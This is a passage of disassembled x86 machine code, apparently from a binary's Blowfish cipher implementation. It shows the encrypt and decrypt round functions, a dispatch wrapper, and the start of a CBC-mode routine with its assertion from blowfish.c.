0805f5ef  8b 84 82 00 04 00 00  mov      0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f5f6  c1 e9 18              shr      $0x18,%ecx
0805f5f9  03 04 8a              add      (%edx,%ecx,4),%eax
0805f5fc  89 f1                 mov      %esi,%ecx
0805f5fe  0f b6 cd              movzbl   %ch,%ecx
0805f601  89 4d f0              mov      %ecx,0xfffffff0(%ebp)
0805f604  33 84 8a 00 08 00 00  xor      0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f60b  89 f1                 mov      %esi,%ecx
0805f60d  81 e1 ff 00 00 00     and      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f613  03 84 8a 00 0c 00 00  add      0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f61a  33 82 2c 10 00 00     xor      0x102c(%edx),%eax   ;4140 'x2c x10 x0 x0' ","
0805f620  31 c3                 xor      %eax,%ebx
0805f622  89 d8                 mov      %ebx,%eax
0805f624  c1 e8 10              shr      $0x10,%eax
0805f627  89 d9                 mov      %ebx,%ecx
0805f629  25 ff 00 00 00        and      $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f62e  c1 e9 18              shr      $0x18,%ecx
0805f631  8b 84 82 00 04 00 00  mov      0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f638  03 04 8a              add      (%edx,%ecx,4),%eax
0805f63b  0f b6 cf              movzbl   %bh,%ecx
0805f63e  33 84 8a 00 08 00 00  xor      0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f645  0f b6 cb              movzbl   %bl,%ecx
0805f648  03 84 8a 00 0c 00 00  add      0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f64f  33 82 30 10 00 00     xor      0x1030(%edx),%eax   ;4144 'x30 x10 x0 x0' "0"
0805f655  31 c6                 xor      %eax,%esi
0805f657  89 f0                 mov      %esi,%eax
0805f659  c1 e8 10              shr      $0x10,%eax
0805f65c  89 f1                 mov      %esi,%ecx
0805f65e  25 ff 00 00 00        and      $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f663  c1 e9 18              shr      $0x18,%ecx
0805f666  8b 84 82 00 04 00 00  mov      0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f66d  03 04 8a              add      (%edx,%ecx,4),%eax
0805f670  89 f1                 mov      %esi,%ecx
0805f672  0f b6 cd              movzbl   %ch,%ecx
0805f675  89 4d f0              mov      %ecx,0xfffffff0(%ebp)
0805f678  33 84 8a 00 08 00 00  xor      0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f67f  89 f1                 mov      %esi,%ecx
0805f681  81 e1 ff 00 00 00     and      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f687  03 84 8a 00 0c 00 00  add      0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f68e  33 82 34 10 00 00     xor      0x1034(%edx),%eax   ;4148 'x34 x10 x0 x0' "4"
0805f694  31 c3                 xor      %eax,%ebx
0805f696  89 d8                 mov      %ebx,%eax
0805f698  c1 e8 10              shr      $0x10,%eax
```

```
0805f69b   89 d9                      mov       %ebx,%ecx
0805f69d   25 ff 00 00 00             and       $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f6a2   8b 84 82 00 04 00 00       mov       0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f6a9   c1 e9 18                   shr       $0x18,%ecx
0805f6ac   03 04 8a                   add       (%edx,%ecx,4),%eax
0805f6af   0f b6 cf                   movzbl    %bh,%ecx
0805f6b2   33 84 8a 00 08 00 00       xor       0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f6b9   0f b6 cb                   movzbl    %bl,%ecx
0805f6bc   03 84 8a 00 0c 00 00       add       0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f6c3   33 82 38 10 00 00          xor       0x1038(%edx),%eax   ;4152 'x38 x10 x0 x0' "8"
0805f6c9   31 c6                      xor       %eax,%esi
0805f6cb   89 f0                      mov       %esi,%eax
0805f6cd   c1 e8 10                   shr       $0x10,%eax
0805f6d0   89 f1                      mov       %esi,%ecx
0805f6d2   25 ff 00 00 00             and       $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f6d7   8b 84 82 00 04 00 00       mov       0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f6de   c1 e9 18                   shr       $0x18,%ecx
0805f6e1   03 04 8a                   add       (%edx,%ecx,4),%eax
0805f6e4   89 f1                      mov       %esi,%ecx
0805f6e6   0f b6 cd                   movzbl    %ch,%ecx
0805f6e9   89 4d f0                   mov       %ecx,0xfffffff0(%ebp)
0805f6ec   33 84 8a 00 08 00 00       xor       0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f6f3   89 f1                      mov       %esi,%ecx
0805f6f5   81 e1 ff 00 00 00          and       $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f6fb   03 84 8a 00 0c 00 00       add       0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f702   33 82 3c 10 00 00          xor       0x103c(%edx),%eax   ;4156 'x3c x10 x0 x0' "<"
0805f708   31 c3                      xor       %eax,%ebx
0805f70a   89 d8                      mov       %ebx,%eax
0805f70c   c1 e8 10                   shr       $0x10,%eax
0805f70f   89 d9                      mov       %ebx,%ecx
0805f711   25 ff 00 00 00             and       $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f716   8b 84 82 00 04 00 00       mov       0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f71d   c1 e9 18                   shr       $0x18,%ecx
0805f720   03 04 8a                   add       (%edx,%ecx,4),%eax
0805f723   0f b6 cf                   movzbl    %bh,%ecx
0805f726   33 84 8a 00 08 00 00       xor       0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f72d   0f b6 cb                   movzbl    %bl,%ecx
0805f730   03 84 8a 00 0c 00 00       add       0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f737   33 82 40 10 00 00          xor       0x1040(%edx),%eax   ;4160 'x40 x10 x0 x0' "@"
0805f73d   31 c6                      xor       %eax,%esi
0805f73f   33 9a 44 10 00 00          xor       0x1044(%edx),%ebx   ;4164 'x44 x10 x0 x0' "D"
0805f745   89 1f                      mov       %ebx,(%edi)
0805f747   89 77 04                   mov       %esi,0x4(%edi)
0805f74a   58                         pop       %eax
0805f74b   5b                         pop       %ebx
0805f74c   5e                         pop       %esi
0805f74d   5f                         pop       %edi
0805f74e   5d                         pop       %ebp
0805f74f   c3                         ret


   ;
   ; >---------------------<  Subroutine # 297 >---------------------<
   ;
0805f750 <Unknown0297>:
0805f750   55                         push      %ebp
0805f751   89 e5                      mov       %esp,%ebp
0805f753   57                         push      %edi
0805f754   56                         push      %esi
0805f755   53                         push      %ebx
0805f756   53                         push      %ebx
0805f757   8b 55 08                   mov       0x8(%ebp),%edx
0805f75a   8b b2 44 10 00 00          mov       0x1044(%edx),%esi   ;4164 'x44 x10 x0 x0' "D"
0805f760   33 75 0c                   xor       0xc(%ebp),%esi
0805f763   89 f0                      mov       %esi,%eax
0805f765   c1 e8 10                   shr       $0x10,%eax
0805f768   89 f1                      mov       %esi,%ecx
0805f76a   25 ff 00 00 00             and       $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f76f   8b 9c 82 00 04 00 00       mov       0x400(%edx,%eax,4),%ebx   ;1024 'x0 x4 x0 x0' ""
0805f776   c1 e9 18                   shr       $0x18,%ecx
0805f779   03 1c 8a                   add       (%edx,%ecx,4),%ebx
0805f77c   89 f1                      mov       %esi,%ecx
0805f77e   0f b6 c5                   movzbl    %ch,%eax
0805f781   33 9c 82 00 08 00 00       xor       0x800(%edx,%eax,4),%ebx   ;2048 'x0 x8 x0 x0' ""
0805f788   89 f0                      mov       %esi,%eax
0805f78a   25 ff 00 00 00             and       $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f78f   03 9c 82 00 0c 00 00       add       0xc00(%edx,%eax,4),%ebx   ;3072 'x0 xc x0 x0' ""
0805f796   33 9a 40 10 00 00          xor       0x1040(%edx),%ebx   ;4160 'x40 x10 x0 x0' "@"
0805f79c   33 5d 10                   xor       0x10(%ebp),%ebx
0805f79f   89 d8                      mov       %ebx,%eax
0805f7a1   c1 e8 10                   shr       $0x10,%eax
0805f7a4   89 d9                      mov       %ebx,%ecx
0805f7a6   25 ff 00 00 00             and       $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f7ab   8b 84 82 00 04 00 00       mov       0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
```

```
0805f7b2  c1 e9 18              shr     $0x18,%ecx
0805f7b5  03 04 8a              add     (%edx,%ecx,4),%eax
0805f7b8  0f b6 cf              movzbl  %bh,%ecx
0805f7bb  33 84 8a 00 08 00 00  xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f7c2  0f b6 cb              movzbl  %bl,%ecx
0805f7c5  03 84 8a 00 0c 00 00  add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f7cc  33 82 3c 10 00 00     xor     0x103c(%edx),%eax   ;4156 'x3c x10 x0 x0' "<"
0805f7d2  31 c6                 xor     %eax,%esi
0805f7d4  89 f0                 mov     %esi,%eax
0805f7d6  c1 e8 10              shr     $0x10,%eax
0805f7d9  89 f1                 mov     %esi,%ecx
0805f7db  25 ff 00 00 00        and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f7e0  8b 84 82 00 04 00 00  mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f7e7  c1 e9 18              shr     $0x18,%ecx
0805f7ea  03 04 8a              add     (%edx,%ecx,4),%eax
0805f7ed  89 f1                 mov     %esi,%ecx
0805f7ef  0f b6 cd              movzbl  %ch,%ecx
0805f7f2  89 4d f0              mov     %ecx,0xfffffff0(%ebp)
0805f7f5  33 84 8a 00 08 00 00  xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f7fc  89 f1                 mov     %esi,%ecx
0805f7fe  81 e1 ff 00 00 00     and     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f804  03 84 8a 00 0c 00 00  add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f80b  33 82 38 10 00 00     xor     0x1038(%edx),%eax   ;4152 'x38 x10 x0 x0' "8"
0805f811  31 c3                 xor     %eax,%ebx
0805f813  89 d8                 mov     %ebx,%eax
0805f815  c1 e8 10              shr     $0x10,%eax
0805f818  89 d9                 mov     %ebx,%ecx
0805f81a  25 ff 00 00 00        and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f81f  c1 e9 18              shr     $0x18,%ecx
0805f822  8b 84 82 00 04 00 00  mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f829  03 04 8a              add     (%edx,%ecx,4),%eax
0805f82c  0f b6 cf              movzbl  %bh,%ecx
0805f82f  33 84 8a 00 08 00 00  xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f836  0f b6 cb              movzbl  %bl,%ecx
0805f839  03 84 8a 00 0c 00 00  add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f840  33 82 34 10 00 00     xor     0x1034(%edx),%eax   ;4148 'x34 x10 x0 x0' "4"
0805f846  31 c6                 xor     %eax,%esi
0805f848  89 f0                 mov     %esi,%eax
0805f84a  c1 e8 10              shr     $0x10,%eax
0805f84d  89 f1                 mov     %esi,%ecx
0805f84f  25 ff 00 00 00        and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f854  c1 e9 18              shr     $0x18,%ecx
0805f857  8b 84 82 00 04 00 00  mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f85e  03 04 8a              add     (%edx,%ecx,4),%eax
0805f861  89 f1                 mov     %esi,%ecx
0805f863  0f b6 cd              movzbl  %ch,%ecx
0805f866  8b 7d 14              mov     0x14(%ebp),%edi
0805f869  89 4d f0              mov     %ecx,0xfffffff0(%ebp)
0805f86c  33 84 8a 00 08 00 00  xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f873  89 f1                 mov     %esi,%ecx
0805f875  81 e1 ff 00 00 00     and     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f87b  03 84 8a 00 0c 00 00  add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f882  33 82 30 10 00 00     xor     0x1030(%edx),%eax   ;4144 'x30 x10 x0 x0' "0"
0805f888  31 c3                 xor     %eax,%ebx
0805f88a  89 d8                 mov     %ebx,%eax
0805f88c  c1 e8 10              shr     $0x10,%eax
0805f88f  89 d9                 mov     %ebx,%ecx
0805f891  25 ff 00 00 00        and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f896  8b 84 82 00 04 00 00  mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f89d  c1 e9 18              shr     $0x18,%ecx
0805f8a0  03 04 8a              add     (%edx,%ecx,4),%eax
0805f8a3  0f b6 cf              movzbl  %bh,%ecx
0805f8a6  33 84 8a 00 08 00 00  xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f8ad  0f b6 cb              movzbl  %bl,%ecx
0805f8b0  03 84 8a 00 0c 00 00  add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f8b7  33 82 2c 10 00 00     xor     0x102c(%edx),%eax   ;4140 'x2c x10 x0 x0' ","
0805f8bd  31 c6                 xor     %eax,%esi
0805f8bf  89 f0                 mov     %esi,%eax
0805f8c1  c1 e8 10              shr     $0x10,%eax
0805f8c4  89 f1                 mov     %esi,%ecx
0805f8c6  25 ff 00 00 00        and     $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f8cb  8b 84 82 00 04 00 00  mov     0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f8d2  c1 e9 18              shr     $0x18,%ecx
0805f8d5  03 04 8a              add     (%edx,%ecx,4),%eax
0805f8d8  89 f1                 mov     %esi,%ecx
0805f8da  0f b6 cd              movzbl  %ch,%ecx
0805f8dd  89 4d f0              mov     %ecx,0xfffffff0(%ebp)
0805f8e0  33 84 8a 00 08 00 00  xor     0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f8e7  89 f1                 mov     %esi,%ecx
0805f8e9  81 e1 ff 00 00 00     and     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f8ef  03 84 8a 00 0c 00 00  add     0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f8f6  33 82 28 10 00 00     xor     0x1028(%edx),%eax   ;4136 'x28 x10 x0 x0' "("
0805f8fc  31 c3                 xor     %eax,%ebx
0805f8fe  89 d8                 mov     %ebx,%eax
```

```
0805f900  c1 e8 10               shr    $0x10,%eax
0805f903  89 d9                  mov    %ebx,%ecx
0805f905  25 ff 00 00 00         and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f90a  8b 84 82 00 04 00 00   mov    0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f911  c1 e9 18               shr    $0x18,%ecx
0805f914  03 04 8a               add    (%edx,%ecx,4),%eax
0805f917  0f b6 cf               movzbl %bh,%ecx
0805f91a  33 84 8a 00 08 00 00   xor    0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f921  0f b6 cb               movzbl %bl,%ecx
0805f924  03 84 8a 00 0c 00 00   add    0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f92b  33 82 24 10 00 00      xor    0x1024(%edx),%eax   ;4132 'x24 x10 x0 x0' "$"
0805f931  31 c6                  xor    %eax,%esi
0805f933  89 f0                  mov    %esi,%eax
0805f935  c1 e8 10               shr    $0x10,%eax
0805f938  89 f1                  mov    %esi,%ecx
0805f93a  25 ff 00 00 00         and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f93f  8b 84 82 00 04 00 00   mov    0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f946  c1 e9 18               shr    $0x18,%ecx
0805f949  03 04 8a               add    (%edx,%ecx,4),%eax
0805f94c  89 f1                  mov    %esi,%ecx
0805f94e  0f b6 cd               movzbl %ch,%ecx
0805f951  89 4d f0               mov    %ecx,0xfffffff0(%ebp)
0805f954  33 84 8a 00 08 00 00   xor    0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f95b  89 f1                  mov    %esi,%ecx
0805f95d  81 e1 ff 00 00 00      and    $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f963  03 84 8a 00 0c 00 00   add    0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f96a  33 82 20 10 00 00      xor    0x1020(%edx),%eax   ;4128 'x20 x10 x0 x0' " "
0805f970  31 c3                  xor    %eax,%ebx
0805f972  89 d8                  mov    %ebx,%eax
0805f974  c1 e8 10               shr    $0x10,%eax
0805f977  89 d9                  mov    %ebx,%ecx
0805f979  25 ff 00 00 00         and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f97e  8b 84 82 00 04 00 00   mov    0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f985  c1 e9 18               shr    $0x18,%ecx
0805f988  03 04 8a               add    (%edx,%ecx,4),%eax
0805f98b  0f b6 cf               movzbl %bh,%ecx
0805f98e  33 84 8a 00 08 00 00   xor    0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f995  0f b6 cb               movzbl %bl,%ecx
0805f998  03 84 8a 00 0c 00 00   add    0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f99f  33 82 1c 10 00 00      xor    0x101c(%edx),%eax   ;4124 'x1c x10 x0 x0' ""
0805f9a5  31 c6                  xor    %eax,%esi
0805f9a7  89 f0                  mov    %esi,%eax
0805f9a9  c1 e8 10               shr    $0x10,%eax
0805f9ac  89 f1                  mov    %esi,%ecx
0805f9ae  25 ff 00 00 00         and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f9b3  8b 84 82 00 04 00 00   mov    0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f9ba  c1 e9 18               shr    $0x18,%ecx
0805f9bd  03 04 8a               add    (%edx,%ecx,4),%eax
0805f9c0  89 f1                  mov    %esi,%ecx
0805f9c2  0f b6 cd               movzbl %ch,%ecx
0805f9c5  89 4d f0               mov    %ecx,0xfffffff0(%ebp)
0805f9c8  33 84 8a 00 08 00 00   xor    0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805f9cf  89 f1                  mov    %esi,%ecx
0805f9d1  81 e1 ff 00 00 00      and    $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805f9d7  03 84 8a 00 0c 00 00   add    0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805f9de  33 82 18 10 00 00      xor    0x1018(%edx),%eax   ;4120 'x18 x10 x0 x0' ""
0805f9e4  31 c3                  xor    %eax,%ebx
0805f9e6  89 d8                  mov    %ebx,%eax
0805f9e8  c1 e8 10               shr    $0x10,%eax
0805f9eb  89 d9                  mov    %ebx,%ecx
0805f9ed  25 ff 00 00 00         and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805f9f2  c1 e9 18               shr    $0x18,%ecx
0805f9f5  8b 84 82 00 04 00 00   mov    0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805f9fc  03 04 8a               add    (%edx,%ecx,4),%eax
0805f9ff  0f b6 cf               movzbl %bh,%ecx
0805fa02  33 84 8a 00 08 00 00   xor    0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805fa09  0f b6 cb               movzbl %bl,%ecx
0805fa0c  03 84 8a 00 0c 00 00   add    0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
0805fa13  33 82 14 10 00 00      xor    0x1014(%edx),%eax   ;4116 'x14 x10 x0 x0' ""
0805fa19  31 c6                  xor    %eax,%esi
0805fa1b  89 f0                  mov    %esi,%eax
0805fa1d  c1 e8 10               shr    $0x10,%eax
0805fa20  89 f1                  mov    %esi,%ecx
0805fa22  25 ff 00 00 00         and    $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805fa27  c1 e9 18               shr    $0x18,%ecx
0805fa2a  8b 84 82 00 04 00 00   mov    0x400(%edx,%eax,4),%eax   ;1024 'x0 x4 x0 x0' ""
0805fa31  03 04 8a               add    (%edx,%ecx,4),%eax
0805fa34  89 f1                  mov    %esi,%ecx
0805fa36  0f b6 cd               movzbl %ch,%ecx
0805fa39  89 4d f0               mov    %ecx,0xfffffff0(%ebp)
0805fa3c  33 84 8a 00 08 00 00   xor    0x800(%edx,%ecx,4),%eax   ;2048 'x0 x8 x0 x0' ""
0805fa43  89 f1                  mov    %esi,%ecx
0805fa45  81 e1 ff 00 00 00      and    $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805fa4b  03 84 8a 00 0c 00 00   add    0xc00(%edx,%ecx,4),%eax   ;3072 'x0 xc x0 x0' ""
```

```
0805fa52   33 82 10 10 00 00      xor      0x1010(%edx),%eax    ;4112 'x10 x10 x0 x0' ""
0805fa58   31 c3                  xor      %eax,%ebx
0805fa5a   89 d8                  mov      %ebx,%eax
0805fa5c   c1 e8 10               shr      $0x10,%eax
0805fa5f   89 d9                  mov      %ebx,%ecx
0805fa61   25 ff 00 00 00         and      $0xff,%eax    ;255 'xff x0 x0 x0' ""
0805fa66   8b 84 82 00 04 00 00   mov      0x400(%edx,%eax,4),%eax    ;1024 'x0 x4 x0 x0' ""
0805fa6d   c1 e9 18               shr      $0x18,%ecx
0805fa70   03 04 8a               add      (%edx,%ecx,4),%eax
0805fa73   0f b6 cf               movzbl   %bh,%ecx
0805fa76   33 84 8a 00 08 00 00   xor      0x800(%edx,%ecx,4),%eax    ;2048 'x0 x8 x0 x0' ""
0805fa7d   0f b6 cb               movzbl   %bl,%ecx
0805fa80   03 84 8a 00 0c 00 00   add      0xc00(%edx,%ecx,4),%eax    ;3072 'x0 xc x0 x0' ""
0805fa87   33 82 0c 10 00 00      xor      0x100c(%edx),%eax    ;4108 'xc x10 x0 x0' ""
0805fa8d   31 c6                  xor      %eax,%esi
0805fa8f   89 f0                  mov      %esi,%eax
0805fa91   c1 e8 10               shr      $0x10,%eax
0805fa94   89 f1                  mov      %esi,%ecx
0805fa96   25 ff 00 00 00         and      $0xff,%eax    ;255 'xff x0 x0 x0' ""
0805fa9b   8b 84 82 00 04 00 00   mov      0x400(%edx,%eax,4),%eax    ;1024 'x0 x4 x0 x0' ""
0805faa2   c1 e9 18               shr      $0x18,%ecx
0805faa5   03 04 8a               add      (%edx,%ecx,4),%eax
0805faa8   89 f1                  mov      %esi,%ecx
0805faaa   0f b6 cd               movzbl   %ch,%ecx
0805faad   89 4d f0               mov      %ecx,0xfffffff0(%ebp)
0805fab0   33 84 8a 00 08 00 00   xor      0x800(%edx,%ecx,4),%eax    ;2048 'x0 x8 x0 x0' ""
0805fab7   89 f1                  mov      %esi,%ecx
0805fab9   81 e1 ff 00 00 00      and      $0xff,%ecx    ;255 'xff x0 x0 x0' ""
0805fabf   03 84 8a 00 0c 00 00   add      0xc00(%edx,%ecx,4),%eax    ;3072 'x0 xc x0 x0' ""
0805fac6   33 82 08 10 00 00      xor      0x1008(%edx),%eax    ;4104 'x8 x10 x0 x0' ""
0805facc   31 c3                  xor      %eax,%ebx
0805face   89 d8                  mov      %ebx,%eax
0805fad0   c1 e8 10               shr      $0x10,%eax
0805fad3   89 d9                  mov      %ebx,%ecx
0805fad5   25 ff 00 00 00         and      $0xff,%eax    ;255 'xff x0 x0 x0' ""
0805fada   8b 84 82 00 04 00 00   mov      0x400(%edx,%eax,4),%eax    ;1024 'x0 x4 x0 x0' ""
0805fae1   c1 e9 18               shr      $0x18,%ecx
0805fae4   03 04 8a               add      (%edx,%ecx,4),%eax
0805fae7   0f b6 cf               movzbl   %bh,%ecx
0805faea   33 84 8a 00 08 00 00   xor      0x800(%edx,%ecx,4),%eax    ;2048 'x0 x8 x0 x0' ""
0805faf1   0f b6 cb               movzbl   %bl,%ecx
0805faf4   03 84 8a 00 0c 00 00   add      0xc00(%edx,%ecx,4),%eax    ;3072 'x0 xc x0 x0' ""
0805fafb   33 82 04 10 00 00      xor      0x1004(%edx),%eax    ;4100 'x4 x10 x0 x0' ""
0805fb01   33 9a 00 10 00 00      xor      0x1000(%edx),%ebx    ;4096 'x0 x10 x0 x0' ""
0805fb07   31 c6                  xor      %eax,%esi
0805fb09   89 1f                  mov      %ebx,(%edi)
0805fb0b   89 77 04               mov      %esi,0x4(%edi)
0805fb0e   59                     pop      %ecx
0805fb0f   5b                     pop      %ebx
0805fb10   5e                     pop      %esi
0805fb11   5f                     pop      %edi
0805fb12   5d                     pop      %ebp
0805fb13   c3                     ret


  ;
  ; >---------------------<  Subroutine # 298 >---------------------<
  ;
0805fb14 <Unknown0298>:
0805fb14   55                     push     %ebp
0805fb15   89 e5                  mov      %esp,%ebp
0805fb17   53                     push     %ebx
0805fb18   50                     push     %eax
0805fb19   83 7d 14 00            cmpl     $0x0,0x14(%ebp)
0805fb1d   8b 5d 08               mov      0x8(%ebp),%ebx
0805fb20   8b 55 0c               mov      0xc(%ebp),%edx
0805fb23   8b 45 10               mov      0x10(%ebp),%eax
0805fb26   8b 4d 18               mov      0x18(%ebp),%ecx
0805fb29   74 15                  je       0805fb40 <Unknown0298+0x2c>
0805fb2b   89 5d 0c               mov      %ebx,0xc(%ebp)
0805fb2e   89 45 14               mov      %eax,0x14(%ebp)
0805fb31   89 55 10               mov      %edx,0x10(%ebp)
0805fb34   89 4d 08               mov      %ecx,0x8(%ebp)
0805fb37   8b 5d fc               mov      0xfffffffc(%ebp),%ebx
0805fb3a   c9                     leave
0805fb3b   e9 4c f8 ff ff         jmp      0805f38c <Unknown0296>    ;-1972 'x4c xf8 xff xff' "L"
0805fb40   89 5d 0c               mov      %ebx,0xc(%ebp)
0805fb43   89 45 14               mov      %eax,0x14(%ebp)
0805fb46   89 55 10               mov      %edx,0x10(%ebp)
0805fb49   89 4d 08               mov      %ecx,0x8(%ebp)
0805fb4c   8b 5d fc               mov      0xfffffffc(%ebp),%ebx
0805fb4f   c9                     leave
0805fb50   e9 fb fb ff ff         jmp      0805f750 <Unknown0297>    ;-1029 'xfb xfb xff xff' ""
0805fb55   8d 76 00               lea      0x0(%esi),%esi
```

```
0805fb58  55                       push   %ebp
0805fb59  89 e5                    mov    %esp,%ebp
0805fb5b  57                       push   %edi
0805fb5c  56                       push   %esi
0805fb5d  53                       push   %ebx
0805fb5e  83 ec 1c                 sub    $0x1c,%esp
0805fb61  f7 45 14 07 00 00 00     testl  $0x7,0x14(%ebp)  ;7 'x7 x0 x0 x0' ""
0805fb68  8b 7d 10                 mov    0x10(%ebp),%edi
0805fb6b  74 1b                    je     0805fb88 <Unknown0298+0x74>
0805fb6d  68 d6 55 07 08           push   $0x80755d6  ;[in .rodata] 2003790946 'x62 x6c x6f x77'
                                                       "blowfish_cbc_encrypt"
0805fb72  68 83 01 00 00           push   $0x183   ;387 'x83 x1 x0 x0' ""
0805fb77  68 eb 55 07 08           push   $0x80755eb  ;[in .rodata] 2003790946 'x62 x6c x6f x77' "blowfish.c"
0805fb7c  68 f6 55 07 08           push   $0x80755f6  ;[in .rodata] 1852140584 'x28 x6c x65 x6e' "(len & 7)
                                                       == 0"
0805fb81  e8 46 a2 fe ff           call   08049dcc <__assert_fail>
0805fb86  89 f6                    mov    %esi,%esi
0805fb88  8b 45 08                 mov    0x8(%ebp),%eax
0805fb8b  0f b6 98 48 10 00 00     movzbl 0x1048(%eax),%ebx  ;4168 'x48 x10 x0 x0' "H"
0805fb92  0f b6 80 49 10 00 00     movzbl 0x1049(%eax),%eax  ;4169 'x49 x10 x0 x0' "I"
0805fb99  8b 55 08                 mov    0x8(%ebp),%edx
0805fb9c  c1 e0 08                 shl    $0x8,%eax
0805fb9f  09 c3                    or     %eax,%ebx
0805fba1  0f b6 82 4a 10 00 00     movzbl 0x104a(%edx),%eax  ;4170 'x4a x10 x0 x0' "J"
0805fba8  c1 e0 10                 shl    $0x10,%eax
0805fbab  09 c3                    or     %eax,%ebx
0805fbad  0f b6 82 4b 10 00 00     movzbl 0x104b(%edx),%eax  ;4171 'x4b x10 x0 x0' "K"
0805fbb4  c1 e0 18                 shl    $0x18,%eax
0805fbb7  09 c3                    or     %eax,%ebx
0805fbb9  0f b6 82 4d 10 00 00     movzbl 0x104d(%edx),%eax  ;4173 'x4d x10 x0 x0' "M"
0805fbc0  c1 e0 08                 shl    $0x8,%eax
0805fbc3  0f b6 8a 4c 10 00 00     movzbl 0x104c(%edx),%ecx  ;4172 'x4c x10 x0 x0' "L"
0805fbca  09 c1                    or     %eax,%ecx
0805fbcc  0f b6 82 4e 10 00 00     movzbl 0x104e(%edx),%eax  ;4174 'x4e x10 x0 x0' "N"
0805fbd3  c1 e0 10                 shl    $0x10,%eax
